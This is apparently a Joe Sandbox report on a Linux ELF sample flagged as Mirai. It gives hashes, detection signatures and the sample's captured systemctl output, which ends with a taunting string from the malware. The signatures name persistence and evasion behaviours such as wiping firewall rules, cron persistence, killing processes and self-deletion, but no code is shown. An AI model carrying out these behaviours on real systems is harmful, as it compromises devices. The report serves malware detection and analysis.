Edit tour

Linux Analysis Report
oc_x86_64.elf

Overview

General Information

Sample name:	oc_x86_64.elf
Analysis ID:	1494180
MD5:	eb3ad86638ce51148233baedf0736975
SHA1:	040d2795332ff85a2917d634e280084171c1a065
SHA256:	38c1a5ce08bcd3c1ec8087cd6de5c43536379ebc35d8e85cef47b994db1237fa
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Deletes all firewall rules

Drops files in suspicious directories

Executes the "crontab" command typically for achieving persistence

Machine Learning detection for sample

Manipulation of devices in /dev

Sample deletes itself

Sample tries to kill multiple processes (SIGKILL)

Sample tries to persist itself using cron

Sample tries to set files in /etc globally writable

Tries to stop the "iptables" service

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "iptables" command used for managing IP filtering and manipulation

Executes the "kill" or "pkill" command typically used to terminate processes

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads CPU information from /sys indicative of miner or evasive malware

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Writes crontab like entries to files to /var or /etc typically for achieving persistence

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1494180
Start date and time:	2024-08-17 11:50:55 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	oc_x86_64.elf
Detection:	MAL
Classification:	mal100.spre.troj.evad.linELF@0/24@112/0

Warnings

Report size exceeded maximum capacity and may have missing behavior information.

Runtime Messages

Command:	/tmp/oc_x86_64.elf
PID:	5490
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	UNIT LOAD ACTIVE SUB JOB DESCRIPTION proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda1.device loaded active plugged Virtual_disk 1 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda2.device loaded active plugged Virtual_disk 2 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda3.device loaded active plugged Virtual_disk 3 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda.device loaded active plugged Virtual_disk sys-devices-pci0000:00-0000:00:11.0-0000:02:01.0-ata3-host2-target2:0:0-2:0:0:0-block-sr0.device loaded active plugged VMware_Virtual_SATA_CDRW_Drive sys-devices-pci0000:00-0000:00:15.0-0000:03:00.0-net-ens160.device loaded active plugged VMXNET3 Ethernet Controller sys-devices-platform-serial8250-tty-ttyS0.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS0 sys-devices-platform-serial8250-tty-ttyS1.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS1 sys-devices-platform-serial8250-tty-ttyS10.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS10 sys-devices-platform-serial8250-tty-ttyS11.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS11 sys-devices-platform-serial8250-tty-ttyS12.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS12 sys-devices-platform-serial8250-tty-ttyS13.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS13 sys-devices-platform-serial8250-tty-ttyS14.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS14 sys-devices-platform-serial8250-tty-ttyS15.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS15 sys-devices-platform-serial8250-tty-ttyS16.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS16 sys-devices-platform-serial8250-tty-ttyS17.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS17 sys-devices-platform-serial8250-tty-ttyS18.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS18 sys-devices-platform-serial8250-tty-ttyS19.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS19 sys-devices-platform-serial8250-tty-ttyS2.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS2 sys-devices-platform-serial8250-tty-ttyS20.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS20 sys-devices-platform-serial8250-tty-ttyS21.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS21 sys-devices-platform-serial8250-tty-ttyS22.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS22 sys-devices-platform-serial8250-tty-ttyS23.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS23 sys-devices-platform-serial8250-tty-ttyS24.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS24 sys-devices-platform-serial8250-tty-ttyS25.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS25 sys-devices-platform-serial8250-tty-ttyS26.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS26 sys-devices-platform-serial8250-tty-ttyS27.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS27 sys-devices-platform-serial8250-tty-ttyS28.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS28 sys-devices-platform-serial8250-tty-ttyS29.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS29 sys-devices-platform-serial8250-tty-ttyS3.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS3 sys-devices-platform-serial8250-tty-ttyS30.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS30 sys-devices-platform-serial8250-tty-ttyS31.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS31 sys-devices-platform-serial8250-tty-ttyS4.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS4 sys-devices-platform-serial8250-tty-ttyS5.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS5 sys-devices-platform-serial8250-tty-ttyS6.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS6 sys-devices-platform-serial8250-tty-ttyS7.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS7 sys-devices-platform-serial8250-tty-ttyS8.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS8 sys-devices-platform-serial8250-tty-ttyS9.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS9 sys-devices-virtual-block-dm\x2d0.device loaded active plugged /sys/devices/virtual/block/dm-0 sys-devices-virtual-block-loop0.device loaded active plugged /sys/devices/virtual/block/loop0 sys-devices-virtual-block-loop1.device loaded active plugged /sys/devices/virtual/block/loop1 sys-devices-virtual-block-loop2.device loaded active plugged /sys/devices/virtual/block/loop2 sys-devices-virtual-block-loop3.device loaded active plugged /sys/devices/virtual/block/loop3 sys-devices-virtual-block-loop5.device loaded active plugged /sys/devices/virtual/block/loop5 sys-devices-virtual-block-loop6.device loaded active plugged /sys/devices/virtual/block/loop6 sys-devices-virtual-block-loop7.device loaded active plugged /sys/devices/virtual/block/loop7 sys-devices-virtual-block-loop8.device loaded active plugged /sys/devices/virtual/block/loop8 sys-devices-virtual-misc-rfkill.device loaded active plugged /sys/devices/virtual/misc/rfkill sys-devices-virtual-tty-ttyprintk.device loaded active plugged /sys/devices/virtual/tty/ttyprintk sys-module-configfs.device loaded active plugged /sys/module/configfs sys-module-fuse.device loaded active plugged /sys/module/fuse sys-subsystem-net-devices-ens160.device loaded active plugged VMXNET3 Ethernet Controller -.mount loaded active mounted Root Mount boot.mount loaded active mounted /boot dev-hugepages.mount loaded active mounted Huge Pages File System dev-mqueue.mount loaded active mounted POSIX Message Queue File System proc-sys-fs-binfmt_misc.mount loaded active mounted Arbitrary Executable File Formats File System run-snapd-ns-lxd.mnt.mount loaded active mounted /run/snapd/ns/lxd.mnt run-snapd-ns.mount loaded active mounted /run/snapd/ns run-user-1000-gvfs.mount loaded active mounted /run/user/1000/gvfs run-user-1000.mount loaded active mounted /run/user/1000 run-user-127.mount loaded active mounted /run/user/127 snap-core18-2128.mount loaded active mounted Mount unit for core18, revision 2128 snap-core18-2785.mount loaded active mounted Mount unit for core18, revision 2785 snap-core20-1081.mount loaded active mounted Mount unit for core20, revision 1081 snap-core20-1974.mount loaded active mounted Mount unit for core20, revision 1974 snap-lxd-21545.mount loaded active mounted Mount unit for lxd, revision 21545 snap-lxd-24061.mount loaded active mounted Mount unit for lxd, revision 24061 snap-snapd-12883.mount loaded active mounted Mount unit for snapd, revision 12883 snap-snapd-19457.mount loaded active mounted Mount unit for snapd, revision 19457 sys-fs-fuse-connections.mount loaded active mounted FUSE Control File System sys-kernel-config.mount loaded active mounted Kernel Configuration File System sys-kernel-debug.mount loaded active mounted Kernel Debug File System sys-kernel-tracing.mount loaded active mounted Kernel Trace File System var-jbx-shared.mount loaded active mounted /var/jbx/shared acpid.path loaded active running ACPI Events Check apport-autoreport.path loaded active waiting Process error reports when automatic reporting is enabled (file watch) systemd-ask-password-console.path loaded active waiting Dispatch Password Requests to Console Directory Watch systemd-ask-password-wall.path loaded active waiting Forward Password Requests to Wall Directory Watch init.scope loaded active running System and Service Manager session-2.scope loaded active running Session 2 of user saturnino session-c2.scope loaded active running Session c2 of user gdm acpid.service loaded active running start ACPI event daemon apparmor.service loaded active exited Load AppArmor profiles apport.service masked active exited apport.service apt-daily-upgrade.service masked failed failed apt-daily-upgrade.service avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack binfmt-support.service loaded active exited Enable support for additional executable binary formats blk-availability.service loaded active exited Availability of block devices cloud-config.service loaded active exited Apply the settings specified in cloud-config cloud-final.service loaded active exited Execute cloud user/final scripts cloud-init-local.service loaded active exited Initial cloud-init job (pre-networking) cloud-init.service loaded active exited Initial cloud-init job (metadata service crawler) colord.service loaded active running Manage, Install and Generate Color Profiles console-setup.service loaded active exited Set console font and keymap dbus.service loaded active running D-Bus System Message Bus finalrd.service loaded active exited Create final runtime dir for shutdown pivot root fwupd.service loaded active running Firmware update daemon gdm.service loaded active running GNOME Display Manager grub-common.service not-found active exited grub-common.service hddtemp.service not-found active exited hddtemp.service irqbalance.service loaded active running irqbalance daemon kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures keyboard-setup.service loaded active exited Set the console keyboard layout kmod-static-nodes.service loaded active exited Create list of static device nodes for the current kernel lm-sensors.service loaded active exited Initialize hardware monitoring sensors lvm2-monitor.service loaded active exited Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling lvm2-pvscan@8:3.service loaded active exited LVM event activation on device 8:3 ModemManager.service loaded active running Modem Manager mono-xsp4.service not-found active exited mono-xsp4.service multipathd.service loaded active running Device-Mapper Multipath Device Controller networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd nginnx.service loaded activating auto-restart restart nginx - high performance web server open-vm-tools.service loaded active running Service for virtual machines hosted on VMware packagekit.service loaded active running PackageKit Daemon polkit.service loaded active running Authorization Manager rsyslog.service loaded active running System Logging Service rtkit-daemon.service loaded failed failed RealtimeKit Scheduling Policy Service setvtrgb.service loaded active exited Set console scheme snapd.apparmor.service loaded active exited Load AppArmor profiles managed internally by snapd snapd.seeded.service loaded active exited Wait until snapd is fully seeded ssh.service loaded active running OpenBSD Secure Shell server switcheroo-control.service loaded active running Switcheroo Control Proxy service systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage systemd-journald.service loaded active running Journal Service systemd-logind.service loaded active running Login Service systemd-modules-load.service loaded active exited Load Kernel Modules systemd-networkd-wait-online.service loaded active exited Wait for Network to be Configured systemd-networkd.service loaded active running Network Service systemd-random-seed.service loaded active exited Load/Save Random Seed systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems systemd-resolved.service loaded active running Network Name Resolution systemd-sysctl.service loaded active exited Apply Kernel Variables systemd-sysusers.service loaded active exited Create System Users systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories systemd-udev-settle.service loaded active exited udev Wait for Complete Device Initialization systemd-udev-trigger.service loaded active exited udev Coldplug all Devices systemd-udevd.service masked active running systemd-udevd.service systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown systemd-user-sessions.service loaded active exited Permit User Sessions udisks2.service loaded active running Disk Manager ufw.service loaded active exited Uncomplicated firewall unattended-upgrades.service loaded active running Unattended Upgrades Shutdown upower.service loaded active running Daemon for power management user-runtime-dir@1000.service loaded active exited User Runtime Directory /run/user/1000 user-runtime-dir@127.service loaded active exited User Runtime Directory /run/user/127 user@1000.service loaded active running User Manager for UID 1000 user@127.service loaded active running User Manager for UID 127 vgauth.service loaded active running Authentication service for virtual machines hosted on VMware wpa_supplicant.service loaded active running WPA supplicant -.slice loaded active active Root Slice system-getty.slice loaded active active system-getty.slice system-lvm2\x2dpvscan.slice loaded active active system-lvm2\x2dpvscan.slice system-modprobe.slice loaded active active system-modprobe.slice system.slice loaded active active System Slice user-1000.slice loaded active active User Slice of UID 1000 user-127.slice loaded active active User Slice of UID 127 user.slice loaded active active User and Session Slice acpid.socket loaded active running ACPID Listen Socket avahi-daemon.socket loaded active running Avahi mDNS/DNS-SD Stack Activation Socket dbus.socket loaded active running D-Bus System Message Bus Socket dm-event.socket loaded active listening Device-mapper event daemon FIFOs iscsid.socket loaded active listening Open-iSCSI iscsid Socket lvm2-lvmpolld.socket loaded active listening LVM2 poll daemon socket multipathd.socket loaded active running multipathd control socket snap.lxd.daemon.unix.socket loaded active listening Socket unix for snap application lxd.daemon snapd.socket loaded active listening Socket activation for snappy daemon syslog.socket loaded active running Syslog Socket systemd-initctl.socket loaded active listening initctl Compatibility Named Pipe systemd-journald-audit.socket loaded active running Journal Audit Socket systemd-journald-dev-log.socket loaded active running Journal Socket (/dev/log) systemd-journald.socket loaded active running Journal Socket systemd-networkd.socket loaded active running Network Service Netlink Socket systemd-rfkill.socket loaded active listening Load/Save RF Kill Switch Status /dev/rfkill Watch systemd-udevd-control.socket loaded active running udev Control Socket systemd-udevd-kernel.socket loaded active running udev Kernel Socket uuidd.socket loaded active listening UUID daemon activation socket swap.img.swap loaded active active /swap.img basic.target loaded active active Basic System cloud-config.target loaded active active Cloud-config availability cloud-init.target loaded active active Cloud-init target cryptsetup.target loaded active active Local Encrypted Volumes getty.target loaded active active Login Prompts graphical.target loaded active active Graphical Interface local-fs-pre.target loaded active active Local File Systems (Pre) local-fs.target loaded active active Local File Systems multi-user.target loaded active active Multi-User System network-online.target loaded active active Network is Online network-pre.target loaded active active Network (Pre) network.target loaded active active Network nss-lookup.target loaded active active Host and Network Name Lookups nss-user-lookup.target loaded active active User and Group Name Lookups paths.target loaded active active Paths remote-fs-pre.target loaded active active Remote File Systems (Pre) remote-fs.target loaded active active Remote File Systems slices.target loaded active active Slices sockets.target loaded active active Sockets swap.target loaded active active Swap sysinit.target loaded active active System Initialization time-set.target loaded active active System Time Set time-sync.target loaded active active System Time Synchronized timers.target loaded active active Timers e2scrub_all.timer loaded active waiting Periodic ext4 Online Metadata Check for All Filesystems fstrim.timer loaded active waiting Discard unused blocks once a week fwupd-refresh.timer loaded active waiting Refresh fwupd metadata regularly logrotate.timer loaded active waiting Daily rotation of log files man-db.timer loaded active waiting Daily man-db regeneration systemd-tmpfiles-clean.timer loaded active waiting Daily Cleanup of Temporary Directories LOAD = Reflects whether the unit definition was properly loaded. ACTIVE = The high-level unit activation state, i.e. generalization of SUB. SUB = The low-level unit activation state, values depend on unit type. JOB = Pending job for the unit. 210 loaded units listed. Pass --all to see loaded but inactive units, too. To show all installed unit files use 'systemctl list-unit-files'. UNIT LOAD ACTIVE SUB DESCRIPTION proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda1.device loaded active plugged Virtual_disk 1 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda2.device loaded active plugged Virtual_disk 2 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda-sda3.device loaded active plugged Virtual_disk 3 sys-devices-pci0000:00-0000:00:10.0-host32-target32:0:0-32:0:0:0-block-sda.device loaded active plugged Virtual_disk sys-devices-pci0000:00-0000:00:11.0-0000:02:01.0-ata3-host2-target2:0:0-2:0:0:0-block-sr0.device loaded active plugged VMware_Virtual_SATA_CDRW_Drive sys-devices-pci0000:00-0000:00:15.0-0000:03:00.0-net-ens160.device loaded active plugged VMXNET3 Ethernet Controller sys-devices-platform-serial8250-tty-ttyS0.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS0 sys-devices-platform-serial8250-tty-ttyS1.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS1 sys-devices-platform-serial8250-tty-ttyS10.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS10 sys-devices-platform-serial8250-tty-ttyS11.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS11 sys-devices-platform-serial8250-tty-ttyS12.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS12 sys-devices-platform-serial8250-tty-ttyS13.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS13 sys-devices-platform-serial8250-tty-ttyS14.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS14 sys-devices-platform-serial8250-tty-ttyS15.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS15 sys-devices-platform-serial8250-tty-ttyS16.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS16 sys-devices-platform-serial8250-tty-ttyS17.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS17 sys-devices-platform-serial8250-tty-ttyS18.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS18 sys-devices-platform-serial8250-tty-ttyS19.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS19 sys-devices-platform-serial8250-tty-ttyS2.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS2 sys-devices-platform-serial8250-tty-ttyS20.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS20 sys-devices-platform-serial8250-tty-ttyS21.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS21 sys-devices-platform-serial8250-tty-ttyS22.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS22 sys-devices-platform-serial8250-tty-ttyS23.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS23 sys-devices-platform-serial8250-tty-ttyS24.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS24 sys-devices-platform-serial8250-tty-ttyS25.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS25 sys-devices-platform-serial8250-tty-ttyS26.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS26 sys-devices-platform-serial8250-tty-ttyS27.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS27 sys-devices-platform-serial8250-tty-ttyS28.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS28 sys-devices-platform-serial8250-tty-ttyS29.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS29 sys-devices-platform-serial8250-tty-ttyS3.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS3 sys-devices-platform-serial8250-tty-ttyS30.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS30 sys-devices-platform-serial8250-tty-ttyS31.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS31 sys-devices-platform-serial8250-tty-ttyS4.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS4 sys-devices-platform-serial8250-tty-ttyS5.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS5 sys-devices-platform-serial8250-tty-ttyS6.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS6 sys-devices-platform-serial8250-tty-ttyS7.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS7 sys-devices-platform-serial8250-tty-ttyS8.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS8 sys-devices-platform-serial8250-tty-ttyS9.device loaded active plugged /sys/devices/platform/serial8250/tty/ttyS9 sys-devices-virtual-block-dm\x2d0.device loaded active plugged /sys/devices/virtual/block/dm-0 sys-devices-virtual-block-loop0.device loaded active plugged /sys/devices/virtual/block/loop0 sys-devices-virtual-block-loop1.device loaded active plugged /sys/devices/virtual/block/loop1 sys-devices-virtual-block-loop2.device loaded active plugged /sys/devices/virtual/block/loop2 sys-devices-virtual-block-loop3.device loaded active plugged /sys/devices/virtual/block/loop3 sys-devices-virtual-block-loop5.device loaded active plugged /sys/devices/virtual/block/loop5 sys-devices-virtual-block-loop6.device loaded active plugged /sys/devices/virtual/block/loop6 sys-devices-virtual-block-loop7.device loaded active plugged /sys/devices/virtual/block/loop7 sys-devices-virtual-block-loop8.device loaded active plugged /sys/devices/virtual/block/loop8 sys-devices-virtual-misc-rfkill.device loaded active plugged /sys/devices/virtual/misc/rfkill sys-devices-virtual-tty-ttyprintk.device loaded active plugged /sys/devices/virtual/tty/ttyprintk sys-module-configfs.device loaded active plugged /sys/module/configfs sys-module-fuse.device loaded active plugged /sys/module/fuse sys-subsystem-net-devices-ens160.device loaded active plugged VMXNET3 Ethernet Controller -.mount loaded active mounted Root Mount boot.mount loaded active mounted /boot dev-hugepages.mount loaded active mounted Huge Pages File System dev-mqueue.mount loaded active mounted POSIX Message Queue File System proc-sys-fs-binfmt_misc.mount loaded active mounted Arbitrary Executable File Formats File System run-snapd-ns-lxd.mnt.mount loaded active mounted /run/snapd/ns/lxd.mnt run-snapd-ns.mount loaded active mounted /run/snapd/ns run-user-1000-gvfs.mount loaded active mounted /run/user/1000/gvfs run-user-1000.mount loaded active mounted /run/user/1000 run-user-127.mount loaded active mounted /run/user/127 snap-core18-2128.mount loaded active mounted Mount unit for core18, revision 2128 snap-core18-2785.mount loaded active mounted Mount unit for core18, revision 2785 snap-core20-1081.mount loaded active mounted Mount unit for core20, revision 1081 snap-core20-1974.mount loaded active mounted Mount unit for core20, revision 1974 snap-lxd-21545.mount loaded active mounted Mount unit for lxd, revision 21545 snap-lxd-24061.mount loaded active mounted Mount unit for lxd, revision 24061 snap-snapd-12883.mount loaded active mounted Mount unit for snapd, revision 12883 snap-snapd-19457.mount loaded active mounted Mount unit for snapd, revision 19457 sys-fs-fuse-connections.mount loaded active mounted FUSE Control File System sys-kernel-config.mount loaded active mounted Kernel Configuration File System sys-kernel-debug.mount loaded active mounted Kernel Debug File System sys-kernel-tracing.mount loaded active mounted Kernel Trace File System var-jbx-shared.mount loaded active mounted /var/jbx/shared acpid.path loaded active running ACPI Events Check apport-autoreport.path loaded active waiting Process error reports when automatic reporting is enabled (file watch) systemd-ask-password-console.path loaded active waiting Dispatch Password Requests to Console Directory Watch systemd-ask-password-wall.path loaded active waiting Forward Password Requests to Wall Directory Watch init.scope loaded active running System and Service Manager session-2.scope loaded active running Session 2 of user saturnino session-c2.scope loaded active running Session c2 of user gdm acpid.service loaded active running ACPI event daemon apparmor.service loaded active exited Load AppArmor profiles apport.service masked active exited apport.service apt-daily-upgrade.service masked failed failed apt-daily-upgrade.service avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack binfmt-support.service loaded active exited Enable support for additional executable binary formats blk-availability.service loaded active exited Availability of block devices cloud-config.service loaded active exited Apply the settings specified in cloud-config cloud-final.service loaded active exited Execute cloud user/final scripts cloud-init-local.service loaded active exited Initial cloud-init job (pre-networking) cloud-init.service loaded active exited Initial cloud-init job (metadata service crawler) colord.service loaded active running Manage, Install and Generate Color Profiles console-setup.service loaded active exited Set console font and keymap dbus.service loaded active running D-Bus System Message Bus finalrd.service loaded active exited Create final runtime dir for shutdown pivot root fwupd.service loaded active running Firmware update daemon gdm.service loaded active running GNOME Display Manager grub-common.service not-found active exited grub-common.service hddtemp.service not-found active exited hddtemp.service irqbalance.service loaded active running irqbalance daemon kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures keyboard-setup.service loaded active exited Set the console keyboard layout kmod-static-nodes.service loaded active exited Create list of static device nodes for the current kernel lm-sensors.service loaded active exited Initialize hardware monitoring sensors lvm2-monitor.service loaded active exited Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling lvm2-pvscan@8:3.service loaded active exited LVM event activation on device 8:3 ModemManager.service loaded active running Modem Manager mono-xsp4.service not-found active exited mono-xsp4.service multipathd.service loaded active running Device-Mapper Multipath Device Controller networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd nginnx.service loaded activating auto-restart nginx - high performance web server open-vm-tools.service loaded active running Service for virtual machines hosted on VMware packagekit.service loaded active running PackageKit Daemon polkit.service loaded active running Authorization Manager rsyslog.service loaded active running System Logging Service rtkit-daemon.service loaded failed failed RealtimeKit Scheduling Policy Service setvtrgb.service loaded active exited Set console scheme snapd.apparmor.service loaded active exited Load AppArmor profiles managed internally by snapd snapd.seeded.service loaded active exited Wait until snapd is fully seeded ssh.service loaded active running OpenBSD Secure Shell server switcheroo-control.service loaded active running Switcheroo Control Proxy service systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage systemd-journald.service loaded active running Journal Service systemd-logind.service loaded active running Login Service systemd-modules-load.service loaded active exited Load Kernel Modules systemd-networkd-wait-online.service loaded active exited Wait for Network to be Configured systemd-networkd.service loaded active running Network Service systemd-random-seed.service loaded active exited Load/Save Random Seed systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems systemd-resolved.service loaded active running Network Name Resolution systemd-sysctl.service loaded active exited Apply Kernel Variables systemd-sysusers.service loaded active exited Create System Users systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories systemd-udev-settle.service loaded active exited udev Wait for Complete Device Initialization systemd-udev-trigger.service loaded active exited udev Coldplug all Devices systemd-udevd.service masked active running systemd-udevd.service systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown systemd-user-sessions.service loaded active exited Permit User Sessions udisks2.service loaded active running Disk Manager ufw.service loaded active exited Uncomplicated firewall unattended-upgrades.service loaded active running Unattended Upgrades Shutdown upower.service loaded active running Daemon for power management user-runtime-dir@1000.service loaded active exited User Runtime Directory /run/user/1000 user-runtime-dir@127.service loaded active exited User Runtime Directory /run/user/127 user@1000.service loaded active running User Manager for UID 1000 user@127.service loaded active running User Manager for UID 127 vgauth.service loaded active running Authentication service for virtual machines hosted on VMware wpa_supplicant.service loaded active running WPA supplicant -.slice loaded active active Root Slice system-getty.slice loaded active active system-getty.slice system-lvm2\x2dpvscan.slice loaded active active system-lvm2\x2dpvscan.slice system-modprobe.slice loaded active active system-modprobe.slice system.slice loaded active active System Slice user-1000.slice loaded active active User Slice of UID 1000 user-127.slice loaded active active User Slice of UID 127 user.slice loaded active active User and Session Slice acpid.socket loaded active running ACPID Listen Socket avahi-daemon.socket loaded active running Avahi mDNS/DNS-SD Stack Activation Socket dbus.socket loaded active running D-Bus System Message Bus Socket dm-event.socket loaded active listening Device-mapper event daemon FIFOs iscsid.socket loaded active listening Open-iSCSI iscsid Socket lvm2-lvmpolld.socket loaded active listening LVM2 poll daemon socket multipathd.socket loaded active running multipathd control socket snap.lxd.daemon.unix.socket loaded active listening Socket unix for snap application lxd.daemon snapd.socket loaded active listening Socket activation for snappy daemon syslog.socket loaded active running Syslog Socket systemd-initctl.socket loaded active listening initctl Compatibility Named Pipe systemd-journald-audit.socket loaded active running Journal Audit Socket systemd-journald-dev-log.socket loaded active running Journal Socket (/dev/log) systemd-journald.socket loaded active running Journal Socket systemd-networkd.socket loaded active running Network Service Netlink Socket systemd-rfkill.socket loaded active listening Load/Save RF Kill Switch Status /dev/rfkill Watch systemd-udevd-control.socket loaded active running udev Control Socket systemd-udevd-kernel.socket loaded active running udev Kernel Socket uuidd.socket loaded active listening UUID daemon activation socket swap.img.swap loaded active active /swap.img basic.target loaded active active Basic System cloud-config.target loaded active active Cloud-config availability cloud-init.target loaded active active Cloud-init target cryptsetup.target loaded active active Local Encrypted Volumes getty.target loaded active active Login Prompts graphical.target loaded active active Graphical Interface local-fs-pre.target loaded active active Local File Systems (Pre) local-fs.target loaded active active Local File Systems multi-user.target loaded active active Multi-User System network-online.target loaded active active Network is Online network-pre.target loaded active active Network (Pre) network.target loaded active active Network nss-lookup.target loaded active active Host and Network Name Lookups nss-user-lookup.target loaded active active User and Group Name Lookups paths.target loaded active active Paths remote-fs-pre.target loaded active active Remote File Systems (Pre) remote-fs.target loaded active active Remote File Systems slices.target loaded active active Slices sockets.target loaded active active Sockets swap.target loaded active active Swap sysinit.target loaded active active System Initialization time-set.target loaded active active System Time Set time-sync.target loaded active active System Time Synchronized timers.target loaded active active Timers e2scrub_all.timer loaded active waiting Periodic ext4 Online Metadata Check for All Filesystems fstrim.timer loaded active waiting Discard unused blocks once a week fwupd-refresh.timer loaded active waiting Refresh fwupd metadata regularly logrotate.timer loaded active waiting Daily rotation of log files man-db.timer loaded active waiting Daily man-db regeneration systemd-tmpfiles-clean.timer loaded active waiting Daily Cleanup of Temporary Directories LOAD = Reflects whether the unit definition was properly loaded. ACTIVE = The high-level unit activation state, i.e. generalization of SUB. SUB = The low-level unit activation state, values depend on unit type. 210 loaded units listed. Pass --all to see loaded but inactive units, too. To show all installed unit files use 'systemctl list-unit-files'. netlab fuck off netlab fuck off
